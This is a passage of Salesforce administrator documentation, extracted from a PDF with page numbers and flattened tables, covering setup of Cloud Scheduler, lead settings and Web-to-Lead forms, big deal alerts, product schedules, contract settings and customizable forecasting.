Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete a public calendar: Customize Application

1. Click Your Name > Setup > Customize > Activities > Public Calendars & Resources. 2. Click Del next to the name of the calendar you want to delete.

See Also:
Managing Public and Resource Calendars

Setting Up Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To customize page layouts and activity settings: Customize Application

The New Meeting Request button is enabled by default on page layouts, which lets your users use Cloud Scheduler to request meetings with customers. If enabled, the button displays on the Open Activities related list on the detail pages of contacts, leads, and person accounts. Use the following methods alone or in combination to control whether the New Meeting Request button displays on detail page layouts. Note that the button is also available in the Calendar section on the Home tab when the Requested Meetings subtab is enabled, and isn't affected by these add or remove actions. Cloud Scheduler Quick Setup To add or remove the New Meeting Request button on multiple page layouts: 1. Click Your Name > Setup > Customize > Activities > Cloud Scheduler. 2. If you're adding the button and the new user interface theme isn't already enabled, you must enable it from Your Name > Setup > Customize > User Interface. 3. Click Add Button to add the New Meeting Request button to the Open Activities related list on all eligible page layouts. Eligible layouts have fewer than four buttons in the Open Activities related list (to prevent unintended crowding). Click Remove Button to remove the button from all current page layouts.

1245

Customize

Setting Up Cloud Scheduler

Note: If you want finer control over whether the button displays on individual page layouts, consider using the manual setup method instead of or in combination with the quick method.

Cloud Scheduler Manual Setup To add or remove the New Meeting Request button on individual page layouts: 1. If you're adding the button and the new user interface theme isn't already enabled, you must enable it from Your Name > Setup > Customize > User Interface. See Customizing User Interface Settings. Users can't request meetings with customers if the new user interface theme is disabled. 2. Add or remove the New Meeting Request button to the Open Activities related list on the page layouts you want. Contacts Leads Person Accounts (if enabled) For users to request a meeting with a person account, you also need to add the Email field to the page layout, which is located at Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts. See Customizing Related Lists for detailed instructions. Note: If you have multiple page layouts and want to affect all or most of them, consider using the quick setup method instead of or in combination with the manual method.

Cloud Scheduler Optional Settings You can optionally enable these settings to make Cloud Scheduler even more useful to your users. Ask your users to install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes. We recommend users sync their calendar events between Salesforce and Outlook or Lotus Notes so they can propose meeting times based on their availability displayed in their Salesforce calendar. Add your company logo to the meeting requests sent to invitees. See Customizing Activity Settings. Show requested meetings in the Calendar section on the Home tab. See Customizing Activity Settings. The Requested Meetings subtab displays by default. If you remove the New Meeting Request button from all page layouts, we recommend you also remove the Requested Meetings subtab because your users won't be able to request meetings. Enable your Partner users to request meetings using Cloud Scheduler.

User Permission Requirements Users must have the Send Email and Edit Events permissions to request meetings. These permissions are automatically selected in most standard profiles. If users don't have the required permissions, they: Won't see the New Meeting Request button on the Open Activities related list Can't edit, reschedule, or cancel requested meetings

1246

Customize

Setting Up Cloud Scheduler

Field-Level Security Requirements In most cases, you don't need to change field-level security settings to allow users to request meetings. However, if your organization has changed the default field-level security settings for certain profiles, refer to the following table to make sure those changes don't prevent users from requesting meetings. Note: In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.

Object

Field

Required Field-Level Security Settings Permission Sets and Original Profile Enhanced Profile User Interface and User Interface Customize Field Pages

Description

Event

Name

Read and Edit

Visible (with Read-Only not

selected)

If this field isn't readable, the New Meeting Request button doesn't display on the Open Activities related list, and an insufficient privileges message displays when trying to change (confirm or reschedule) or view a requested meeting. If this field is readable but not editable, the New Meeting Request button doesn't display on the Open Activities related list, and requested meetings open as read-only (preventing users from confirming or rescheduling the meeting).

Description

Read

Visible

By default, when a requested meeting is confirmed, the last message sent from the meeting organizer displays in the Description field for the new event. However, if field-level security for the Description field isn't readable, then the last message doesn't display in the Description field even if field-level security is later set to readable.

See Also:
About Cloud Scheduler

1247

Customize

Setting Up Lead Management

LEADS
Setting Up Lead Management
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Success in sales starts by building a strong pipeline of leads. A lead is a prospect who is interested in your company. Using leads can give your sales staff instant access to the latest prospects and ensures that no leads are ever dropped. Successful lead management helps sales and marketing manage the inbound lead process, track lead sources, and analyze return on their marketing investment. To get started using lead management, click Your Name > Setup > Customize > Leads: Click Fields to create custom lead fields that track information specific to your company; see About Custom Fields on page 980. Also, map your custom lead fields to account, contact, and opportunity fields so that the data gets converted when users convert leads; see Mapping Custom Lead Fields on page 1250. Edit the Lead Status picklist to choose the default status for new and converted leads; see Updating Picklists on page 966. Click Settings to specify your default lead settings. See Customizing Lead Settings on page 1248. Click Assignment Rules to set up lead assignment rules that automatically assign leads; see Managing Assignment Rules on page 1218. Click Web-to-Lead to automatically capture leads from your website. See Setting Up Web-to-Lead on page 1252.

To create sales queues for leads or custom objects, click Your Name > Setup > Manage Users > Queues. See Managing Queues on page 559.

Customizing Lead Settings


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change lead settings: Customize Application

To optimize the lead management features, you must edit the lead settings to specify certain defaults. 1. Click Your Name > Setup > Customize > Leads > Settings. 2. Click Edit to customize the following defaults:

1248

Customize

Customizing Lead Settings

Field
Default Lead Owner

Description The user or queue to which leads will be assigned if the active assignment rule fails to locate an owner. This applies to leads captured online and leads that a user manually creates or edits with the auto-assign checkbox enabled. Checkbox to indicate whether Salesforce sends a notification to the default lead owner when assigning a lead to him or her. Default Lead Owner selected must be a user. If a user creating a new lead applies assignment rules, this setting indicates which record type to assign to the new record. If you want new leads to keep the creators record type, check Keep the existing record type. If you want to overwrite the creators record type when applying assignment rules, check Override the existing
record type with the assignees default record type.

Notify Default Lead Owner

Record Type Setting

Enable Validation and Triggers from Lead Convert

When selected, enables the following operations when you convert leads: Enforcement of universally required custom fields. Enforcement of validation rules. Note that if validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task is not created. Workflow actions on leads such as field updates, automatic task assignments, and transfers. Note that existing time-based workflow actions on leads do not get triggered as part of lead conversion. Execution of Apex before triggers that fire before the insertion of accounts, contacts, or opportunities. In addition, execution of Apex before triggers that fire before the update of accounts or contacts. Note: When Enable Validation and Triggers from Lead Convert is selected, if the lead conversion creates an opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity is created, before the opportunity contact role is created.

Do Not Change Lead Status Values to New Owner's Record Type on Lead Conversion

If your organization uses record types, you can create a lead process that allows you to provide different Lead Status values for different record types. If Do Not Change Lead
Status Values to New Owner's Record Type on Lead Conversion is selected, the Lead Status does

not change to the new owner's default value during lead

1249

Customize

Mapping Custom Lead Fields

Field

Description conversion. If this setting it is not selected, the Lead Status may change during lead conversion if the new owner's record type has a different default value for Lead Status.

Mapping Custom Lead Fields


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To map lead fields: Customize Application

When you convert a qualified lead, the information from the standard lead fields is inserted into standard account, contact, and opportunity fields (see Lead Conversion Mapping on page 2587). If your organization has custom lead fields, you can specify how you want that custom information converted into custom account, contact, or opportunity fields. To specify the mapping for custom lead fields: 1. Select Your Name > Setup > Customize > Leads > Fields > Map Lead Fields. 2. For each custom lead field, choose a custom account, contact, or opportunity field into which you want the information inserted when you convert a lead. 3. Click Save. Remember to map custom lead fields to other custom fields of the same data type, that is, map numeric lead fields to other numeric fields or long text area fields to other long text area fields. Some exceptions are: You can map between text and picklist fields. However, your data may become truncated if the mapped text field is not large enough to hold the entire lead picklist value. You can map fields of type Text or Text Area to long text area fields You can map auto-number fields to fields of type Text, Text Area, or Picklist. Do not map custom formula fields to other formula fields or any other type of field. Roll-up summary fields are not available for mapping lead fields of converted leads. Remember to map custom lead fields of type number, currency, or percent to other number, currency, or percent fields of exactly the same length and decimal places. For example, if your lead currency field has a length of 3 and 2 decimal places, map it to another custom currency field with a length of 3 and 2 decimal places. Any standard lead picklist fields that are blank are mapped to the default picklist values for the account, contact, and opportunity.

1250

Customize

Capturing Web Leads

Note: If you change the data type of any custom field used for lead conversion, that lead field mapping will be deleted.

See Also:
Converting Leads

Capturing Web Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Lead: Customize Application

With Web-to-Lead, you can gather information from your companys website and automatically generate up to 500 new leads a day. Your company may already have a registration or other type of page where users enter their contact information. You may also want to create a jump page where prospects respond to a campaign. With a little extra HTML code, you can redirect that information to Salesforce to create new leads. See Preparing to Set Up Web-to-Lead for the steps to prepare for setting up Web-to-Lead. See Setting Up Web-to-Lead for the steps to set up Web-to-Lead.

See Also:
Managing Assignment Rules Managing Queues Customizing Lead Settings Assigning Leads Displaying and Editing Leads Creating Leads Converting Leads Setting Up Auto-Response Rules

Preparing to Set Up Web-to-Lead

1251

Customize

Preparing to Set Up Web-to-Lead

Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed To set up Web-to-Lead: Customize Application

Before setting up Web-to-Lead, you need to: Create custom lead fields, if needed, and specify how theyll map to custom account, contact, and opportunity fields during lead conversion. See About Custom Fields on page 980 and Mapping Custom Lead Fields on page 1250. Edit the Lead Status picklist to set the default status for new and converted leads. See Updating Picklists on page 966. Create public email templates for the automated notification email that will be sent to prospects upon submission of each web lead. If you plan to set up email response rules to use different email templates depending on the information submitted, create one default template to send when none of your response rules apply. (see Managing Email Templates on page 436 and Setting Up Auto-Response Rules on page 1226). Note: Auto-response rules are not available in Group Edition.

Create lead queues if you wish to assign incoming leads to queues (see Managing Queues on page 559). Customize the Lead Settings to select the default owner of leads that fail to meet the criteria in your assignment rule (see Customizing Lead Settings on page 1248). Create an active lead assignment rule to determine how web-generated leads are assigned to multiple users or queues (see Managing Assignment Rules on page 1218). If you do not set an active assignment rule, all web-generated leads are assigned to the default owner you specify in the Lead Settings.

See Also:
Setting Up Web-to-Lead Capturing Web Leads

Setting Up Web-to-Lead
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Lead: Customize Application

To set up Web-to-Lead: 1. Click Your Name > Setup > Customize > Leads > Web-to-Lead.

1252

Customize

Setting Up Web-to-Lead

2. Click Edit to enable or modify the following Web-to-Lead settings: Web-to-Lead Setting
Web-to-Lead Enabled Default Lead Creator

Description Enables Web-to-Lead. The user who will be listed as the creator of online leads and who will appear as the sender of email responses. This user must have the System Administrator profile or the Modify All Data and Send Email permissions. The default response template to use for the email response that is automatically sent to prospects when they submit an online lead. If you set up response rules to use different email templates based on the information submitted, the default response template is used when no auto-response rules apply. Leave this option blank if you do not wish to send emails when no response rules apply. This template must be marked as Available for Use. Note: Auto-response rules are not available in Group Edition.

Default Response Template

3. Click Save. 4. To create a Web-to-Lead form, click Create Web-to-Lead Form on the Web-to-Lead Setup page. 5. Select fields to include on your Web-to-Lead form. Use the Add and Remove arrows to move fields between the Available Fields list and the Selected Fields list, and use the Up and Down arrows to change the order of the fields on your form. Select the Campaign field (and optionally, the Campaign Member Status field) if you are using Web-to-Lead as part of a campaign. For organizations using multiple currencies, add the Lead Currency field if you add currency amount fields, otherwise all amounts will be captured in your corporate currency. Use a custom multi-select picklist to allow potential customers to express interest in several products. For organizations using lead record types, select the Lead Record Type field if you want users to select a record type for Web-generated leads.

6. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed on your Web-to-Lead form. The source of your Web-to-Lead form is always in your personal language. 7. Specify the complete URL to which users should be directed after they submit their informationfor example, your company's home page for a thank you pageand click Generate. 8. Copy the generated HTML code and provide it to your company's webmaster to incorporate into your website. 9. Click Finished. To test the Web-to-Lead form, add the line <input type="hidden" name="debug" value="1"> to your code. This line redirects you to a debugging page when you submit the form. Remove this line before releasing the Web-to-Lead page to your website.

1253

Customize

Restricting Price and Quantity Editing on Opportunity Products

Leads generated from your website are initially marked with the default status specified by the Lead Status picklist. For Web leads generated as part of a campaign, the member status of the new leads is set to the Member Status value specified in the form, or to the default member status if the Member Status field is not included in the form. In addition, new leads are marked as Unread, and are changed to Read when viewed or edited by the lead owner. Users can select the My Unread Leads list view to quickly locate their new leads. Note: The format for date and currency fields captured online is taken from your organizations default settings Default Locale and Currency Locale. The daily limit for Web-to-Lead requests is 500. If your organization exceeds its daily Web-to-Lead limit, the Default Lead Creator (specified in the Web-to-Lead setup page) receives an email containing the additional lead information. See How many leads can we capture from our website? on page 3218 for additional information on Web-to-Lead limits. If a new lead cannot be generated due to errors in your Web-to-Lead setup, Customer Support is notified of the problem so that we can help you correct it. Salesforce runs field validation rules before creating records submitted via Web-to-Lead and only creates records that have valid values. All universally required fields must have a value before a record can be created via Web-to-Lead.

See Also:
Preparing to Set Up Web-to-Lead Capturing Web Leads

SALES
Restricting Price and Quantity Editing on Opportunity Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To restrict price and unit editing: Customize Application

To ensure that opportunity products use the price from the associated price book, remove the Sales Price field from the opportunity products page layout. To use a quantity of one for all opportunity products, remove the Quantity field from the opportunity products page layout.

1254

Customize

Customizing Big Deal Alerts

Note: If you cannot remove these fields from the page layout, contact salesforce.com to enable this option.

Customizing Big Deal Alerts


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To activate big deal alerts: Customize Application

Your organization can use alerts that automatically send an email notification for opportunities with large amounts. Customize this alert to send an email when an opportunity reaches a threshold. Your threshold consists of an opportunity amount and probability. For example, you may want to send an email to your team that an opportunity of $500,000 has reached a probability of 90%.

See Also:
Activating Big Deal Alerts

Activating Big Deal Alerts


You can activate one opportunity alert for your organization. The alert message resembles the opportunity detail page including the page layout and language from a selected user. Before you begin, you may want to decide which user has the page layout and language settings that you would like included in all alerts. This user must also have the View All Data permission. 1. Click Your Name > Setup > Customize > Opportunities > Big Deal Alert. 2. Enter a name for the alert. 3. Enter a Trigger Probability and Trigger Amount in the corporate currency. An opportunity alert is triggered for opportunities with this probability and amount or greater. The alert triggers only for those opportunities that meet both the trigger probability and trigger amount threshold settings. Note: An opportunity can trigger a big deal alert even if it is in a currency that is different from the corporate currency. The Amount on an opportunity is converted to corporate currency and compared to the Trigger Amount. If you are using advanced currency management, dated exchange rates will be used. 4. 5. 6. 7. Check the Active box if you would like to activate the new alert immediately after you save. Enter the From Email Name. Enter the From Email Address. Select a user that provides the appropriate opportunity page layout, language, and currency settings for the content of the emails. This user must have the View All Data permission.

1255

Customize

Enabling Opportunity Update Reminders

For organizations that use multiple currencies, all alerts include the amount in the currency of the opportunity. If the opportunity currency is different than the currency of the user selected in this step, both currencies are included in the email. Enter a list of email recipients separated by commas. You can also include CC: and BCC: recipients but all must be valid email addresses. The BCC: field is not available if your organization has enabled compliance BCC emails. 8. Check the Notify Opportunity Owner box if you would like to include the owner of the opportunity in the alert emails. 9. Click Save. Note: An opportunity alert sends a notification the first time an opportunity reaches the threshold. So, an opportunity that reaches the threshold with 90% probability will not trigger additional alerts if the probability subsequently goes higher. However, an opportunity that already triggered an alert and then fell below the threshold can trigger a second alert if it crosses that threshold again. When working remotely in Connect Offline, you can make changes to opportunities that trigger alerts. These alert messages will be sent when you update your data. For instructions on updating your data from Connect Offline, see Logging in to Connect Offline on page 2506.

See Also:
Customizing Big Deal Alerts Managing Multiple Currencies

Enabling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit opportunity update reminder setup: To activate or deactivate opportunity update reminders: Customize Application OR Manage Users Manage Users

Updated and accurate opportunities drive precise forecasts. Ensure that your opportunities are up to date by enabling managers to schedule opportunity update reminders: automated opportunity reports that managers can customize for their teams. For example, a manager can schedule a weekly report of all the opportunities for the current fiscal quarter owned by anyone on the team and have the report distributed to everyone on the team. To enable opportunity update reminders for your organization: 1. Click Your Name > Setup > Customize > Opportunities > Update Reminders. 2. Click Edit. 3. Select Enable Update Reminders for My Organization. Remove the check to disable this feature.

1256

Customize

Enabling and Configuring Similar Opportunities

4. Optionally, select Automatically Activate Reminders for Users with Direct Reports if you want to schedule opportunity update reminders for all your current users and users you add in the future that have direct reports. 5. Click Save. 6. Check the boxes next to the users you want to activate. Optionally, check the box in the column header to select all currently displayed items. Activated users can schedule an opportunity update reminder. 7. Click Activate. Click Deactivate to prevent the selected users from creating an opportunity update reminder. This enables each user selected to schedule opportunity update reminders for his or her team. You can activate any user that has direct reports.

See Also:
Scheduling Opportunity Update Reminders

Enabling and Configuring Similar Opportunities


Available in: Enterprise, Unlimited, Developer Editions

User Permissions Needed To enable similar opportunities: Customize Application

The Similar Opportunities feature allows users to find Closed/Won opportunities that match the attributes of an opportunity they're currently viewing, and add them to the Similar Opportunities related list on that opportunity's record. Enable and configure this feature so your users can quickly access information about past opportunities that may be helpful for the deals they're currently working on. You can also modify the search criteria that Salesforce uses to identify similar opportunities and the opportunity record fields that are displayed in the Similar Opportunities related list. 1. 2. 3. 4. Click Your Name > Setup > Customize > Opportunities > Similar Opportunities. Click Edit. Select Enable Similar Opportunities to add the Similar Opportunities related list to opportunity detail pages. Select three to ten opportunity fields or related lists that you want Similar Opportunities searches to match against, and then click Add. Use CTRL+click to select multiple items individually or SHIFT+click to select a range of items. Note: A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the specified attributes are matches. The more search criteria you select, the more similar opportunities will be identified in a search. 5. Select up to 15 opportunity fields to display in the Similar Opportunities related list. The selected fields appear in the list as columns, which you can arrange using the Top, Up, Down, and Bottom arrows. Important: When deciding which opportunity fields to display, consider that users can see all of the information that is displayed in a Similar Opportunities related list, even if the list includes records that aren't ordinarily accessible because of sharing rules and permissions. 6. Click Save.

1257

Customize

Understanding Similar Opportunities Searches

7. Add the Similar Opportunities related list to the opportunity page layout.

See Also:
Understanding Similar Opportunities Searches Defining Similar Opportunities Search Criteria Customizing Page Layouts with the Enhanced Page Layout Editor Finding Similar Opportunities Using Opportunities

Understanding Similar Opportunities Searches


Available in: Enterprise, Unlimited, Developer Editions

A Similar Opportunities search finds Closed/Won opportunities that match attributes of the current opportunity. When enabling Similar Opportunities, you select the attributes that Salesforce uses as search criteria for identifying similar opportunities. You can select three to ten opportunity fields or related lists. When users search for similar opportunities, Salesforce finds a maximum of 10,000 matching Closed/Won opportunities in a 3 month periodstarting with the oldest records firstand displays up to 300 of the most relevant opportunities. A Closed/Won opportunity's relevance is determined by the number of attributes that match the current opportunity. A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the specified attributes are matches. The more search criteria you select, the more similar opportunities will be identified in a search. If there are more than 10,000 matching Closed/Won opportunities, some of the most recent records won't be included in the Similar Opportunities related list, even if they are highly relevant. Tip: The best way to ensure that Similar Opportunities searches find current matching records, especially if your organization has a large number of Closed/Won opportunities, is to define the smallest set of search criteria possible.

See Also:
Enabling and Configuring Similar Opportunities Defining Similar Opportunities Search Criteria

Defining Similar Opportunities Search Criteria


Available in: Enterprise, Unlimited, Developer Editions

If your organization uses the Similar Opportunities feature, you need to select the opportunity fields or related lists that are used as search criteria. You can use these standard fields and related lists.

1258

Customize

Prompting for Products on Opportunities

Standard Fields
Account Name Close Date Lead Source Opportunity Owner Primary Campaign Source Private Probability (%) Quantity Type

Standard Related Lists


Competitors Contact Role Partner Products Sales Team

You can also select any custom opportunity field, except those with these field types. Auto-number Currency Formula Picklist (multi-select) Roll-up summary Text (encrypted) Text area

See Also:
Enabling and Configuring Similar Opportunities Understanding Similar Opportunities Searches

Prompting for Products on Opportunities


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable prompting for products: Modify All Data

Customize Salesforce to prompt users to select a product when creating an opportunity. Enabling this option makes it easier for users to add products while creating an opportunity. 1. Click Your Name > Setup > Customize > Opportunities > Settings. 2. Check Prompt users to add products to opportunities to have Salesforce prompt users to select a product when creating an opportunity.

1259

Customize

Automatically Activating Product Prices

3. Click Save. 4. We recommend making the Amount field on the opportunity read only to ensure your opportunity amounts are driven from the products on the opportunity. See Field-Level Security Overview on page 622. Note: If enabled, replaces the Save button with a Save & Add Product button the opportunity creation page.

See Also:
Products, Price Books, and Schedules Overview

Automatically Activating Product Prices


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To auto-activate product prices: Customize Application

When you deactivate a product, you may want all related prices for that product automatically de-activated as well. Likewise, if you activate a product, you can have all the prices for that product automatically activated. 1. Click Your Name > Setup > Customize > Products > Settings. 2. Check When changing active flag on a product... to have Salesforce automatically change the active flag on all related prices to whatever the active flag is on the related product. Leave this field unchecked if you want related prices to remain the same status whenever users activate or deactivate a product. 3. Click Save.

See Also:
Products, Price Books, and Schedules Overview

Using Product Families

1260

Customize

Using Product Families

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit product families: Customize Application

Use the Product Family picklist to categorize your products. For example, if your company sells both hardware and software, you can create two product families: Hardware and Software. If your organization has customizable forecasting, your users can have a different quota for hardware sales and software sales. Users can also view forecasts for opportunities with hardware products separate from opportunities that include software products. See Do I Have Customizable Forecasting? on page 2242. To begin using product families: Customize the Product Family picklist to include the different categories of products you sell. See Modifying Picklists on page 966. For each product in your price books, edit the product and select the appropriate Product Family value. See Displaying and Editing Products on page 2321. If your organization has customizable forecasting, set a different quota for each product family for your users. See Setting Quotas for Customizable Forecasting on page 482. If your organization has customizable forecasting, consider changing your forecast settings to display a particular forecast family value by default when your users click the Forecasts tab. See Defining Customizable Forecast Settings on page 1265.

See Also:
Setting Up Customizable Forecasting

Setting Up Product Schedules

1261

Customize

Setting Up Product Schedules

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up product schedules: Customize Application AND Read, Create, Edit, and Delete on products AND Read, Create, Edit, and Delete on price books

Create default revenue and quantity schedules for products. In addition, administrators can enable schedule settings that allow users to create schedules for individual products on opportunities. Quantity Schedule Outlines the dates, number of units (i.e., quantity), and number of installments for billing or shipping a product. Your organization can decide exactly how to use quantity schedules. Revenue Schedule Outlines the dates, revenue amounts, and number of installments for billing or recognizing revenue from a product. Your organization can decide exactly how to use revenue schedules. Default Schedule A schedule associated with a product in a price book. Administrators can establish a default quantity schedule, a default revenue schedule, or both. Every time the product is added to an opportunity, the default schedules are used. On any particular opportunity, users can override the default schedules.

See Also:
Administrator tip sheet: Tips & Hints for Products and Schedules

Enabling Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To enable schedules for your organization: 1. Click Your Name > Setup > Customize > Products > Schedule Setup. 2. Select the appropriate checkboxes to enable quantity and revenue schedules for your organization. Note that disabling a schedule type automatically deletes all existing schedule information from products. For a definition of each schedule type, see Setting Up Product Schedules on page 1261.

1262

Customize

Customizing Contract Settings

3. For each schedule type you enable, select whether to automatically enable that schedule type for every product in your price books. This option automatically selects the Quantity Scheduling Enabled or Revenue Scheduling Enabled checkboxes on every product in your price books. 4. Click Save. For greater control of schedules on a product-by-product basis, administrators can also determine which schedule types users can establish for each product (see Creating and Editing Default Schedules on page 2326). Note: Enabling or disabling schedules does not affect archived products. For information on archived products, see Deleting Products and Price Books on page 2338. You cannot disable both schedule types for your organization if schedules are referenced in an Apex script. For example, if a script references the schedule object (represented as OpportunityLineItemSchedule in the code), you can disable one of the schedule types, but not both. For more information, see Apex Code Overview on page 1825.

Customizing Contract Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change contract settings: Customize Application

Customize Salesforce to handle your internal contract management process. Enable or disable contract expiration notices and auto-calculation of contract end dates. Enabling Contract Expiration Notices Set an option to automatically send email notifications to account and contract owners when a contract expires. To activate these expiration notices: 1. Click Your Name > Setup > Customize > Contracts > Settings. 2. Select the Send contract expiration notice emails... option. 3. Click Save. Remove the check on this option and click Save to stop sending expiration notices. Disabling Auto-Calculation of Contract End Dates Your contracts may not have end dates or you may prefer to have users enter them manually. If so, disable auto-calculation of contract end dates: 1. 2. 3. 4. Click Your Name > Setup > Customize > Contracts > Settings. Remove the check in the Auto-calculate Contract End Date option. Click Save. View your page layout and field-level security settings for Contract End Date, Contract Start Date, and Contract Term to ensure your users can read or edit them as needed. See Managing Page Layouts on page 1188 and About Field Accessibility on page 1210.

1263

Customize

Setting Up Customizable Forecasting

To enable auto-calculation, check this option and click Save. If Salesforce auto-calculates Contract End Date, it does not display on the contracts edit page. Note: If Auto-calculate Contract End Date is enabled but Contract Start Date or Contract Term is empty, Contract End Date will be blank.

See Also:
Contracts Overview

FORECASTS
Setting Up Customizable Forecasting
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Sales forecasts represent the best estimate of how much revenue you can generate. They give your managers and executives a view of your overall business no matter how dispersed your sales teams are. Because forecasting is so universal, customizable forecasting is a flexible solution for even the most advanced requirements. Get started using customizable forecasting by clicking Your Name > Setup > Customize > Forecasts (Customizable): Click Edit Forecast settings for your company to customize the default settings for your organization. See Defining Customizable Forecast Settings. Click Batch submit forecasts for your users to set up batch submission. See Submitting Customizable Forecasts in Batches. Click Set up the forecasting hierarchy for your company to set up your initial forecast hierarchy. Refer to Setting Up Your Forecast Hierarchy.

See Also:
Administrator tip sheet: Setting Up Customizable Forecasting Submitting Customizable Forecasts in Batches Using Product Families Defining Customizable Forecast Settings Setting Up Your Forecast Hierarchy Enabling Customizable Forecasting

1264

Customize

Defining Customizable Forecast Settings

Defining Customizable Forecast Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define forecast settings: Customize Application

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Define the following settings for your organization: Forecast Data Aggregation determines the type of data that is displayed on forecasts. Forecast Summary Default View determines the default product family, date start, date range, and forecast numbers for default forecasts. Forecast Data Sharing determines whether forecast data can be shared.

To set forecast options: 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Settings. 2. Select Forecast Revenue if you want forecasts to include revenue amount. If you disable this setting, you will lose all revenue overrides on your forecasts. 3. Select Forecast Quantity if you want forecasts to include quantity totals. If you disable this setting, you will lose all quantity overrides on your forecasts. 4. Choose a Forecast Period. If you do not have custom fiscal years enabled, choose monthly or quarterly depending on your organizations forecasting cycle. If you have enabled custom fiscal years, you can choose to forecast by fiscal period or by fiscal quarter. The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available. If you change this setting, you will lose all overrides and forecasts, including all forecast history. 5. Choose a Forecast Date that determines how opportunity amounts contribute to forecasts: Choose Opportunity Close Date if you want the entire opportunity amount to contribute to the forecast period for that date. If your organization does not use products, this is the only option available. Choose Product Date if you want the amount of the product on the opportunity to contribute to the forecast period that corresponds with the Product Date. When no products exist on an opportunity or the product date is blank, Salesforce uses the Opportunity Close Date in the users forecast instead. Choose Schedule Date if you want the individual revenue schedule amounts to contribute to the forecast periods that correspond with the schedule dates. If a product does not have a revenue schedule, Salesforce uses the Product Date in the users forecast instead.

6. Choose a Forecast Type that determines how many forecasts your users will submit in a period: Choose Use Overall Forecast if your organization does not use products. Your users will have one forecast and one quota for each period. If your organization does not use products, this is the only option available. Choose Use Product Families if your users have one quota and one forecast for each product family. See Using Product Families.

1265

Customize

Setting Your Fiscal Year

7. Choose a default view for your users. This setting determines what forecast product family, date start, date range, and forecast totals to display for users when they first click the Forecasts tab. Users can change their view but the default remains the same for all users. 8. Enable or disable forecast sharing by selecting or deselecting Enable Forecast Sharing. 9. Click Save. If you have enabled forecast sharing, you are prompted to choose who can share existing forecast views. The options are:
Require Administrator assistance for forecast sharing - Only administrators can share existing

forecast data.
Forecast managers can share their own forecast data - Administrators can share existing forecast

data, and existing forecast managers can also share their own views. Note: This choice applies to existing forecasting views only; it is not a default setting for your organization. Each time you edit or assign a forecast manager in the role hierarchy, you must define who can share that view. If you have chosen to disable forecast sharing, you are prompted to confirm your choice.

See Also:
Setting Up Customizable Forecasting Manually Sharing a Forecast Setting Your Fiscal Year

Setting Your Fiscal Year


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set fiscal year: Customize Application

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Your fiscal year determines your monthly or quarterly forecasting cycle, the month it starts, and whether the Fiscal Year is named for the starting or ending year. For example, if your fiscal year starts in April 2005 and ends in March 2006, your fiscal year setting can be either 2005 or 2006. To set your fiscal year for customizable forecasting: 1. Begin by archiving your data first because changing your fiscal year settings affects your opportunity and forecast data. We recommend running and exporting the following reports: Opportunity Pipeline Quarterly Forecast Summary

1266

Customize

Setting Up Your Forecast Hierarchy

Quota vs Actual

2. Click Your Name > Setup > Customize > Forecasts (Customizable) > Fiscal Year. 3. Choose a Forecast Period of monthly or quarterly depending on your organizations forecasting cycle. The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available. 4. Choose a Fiscal Year Start Month that represents the beginning of your organizations fiscal year. 5. Select a Fiscal year is based on option that represents how your organization refers to a fiscal year. For example, if your fiscal year starts in April 2004 and ends in March 2005 but is called Fiscal Year 2005, choose The ending month because the last month determines how your organization refers to that fiscal year. 6. Do not check Apply to all forecasts and quotas unless you want to change the fiscal year settings of forecasts created before you enabled customizable forecasts. Checking this option changes your historical forecast data. 7. Click Save.

See Also:
Defining Customizable Forecast Settings

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up forecast hierarchy: Customize Application

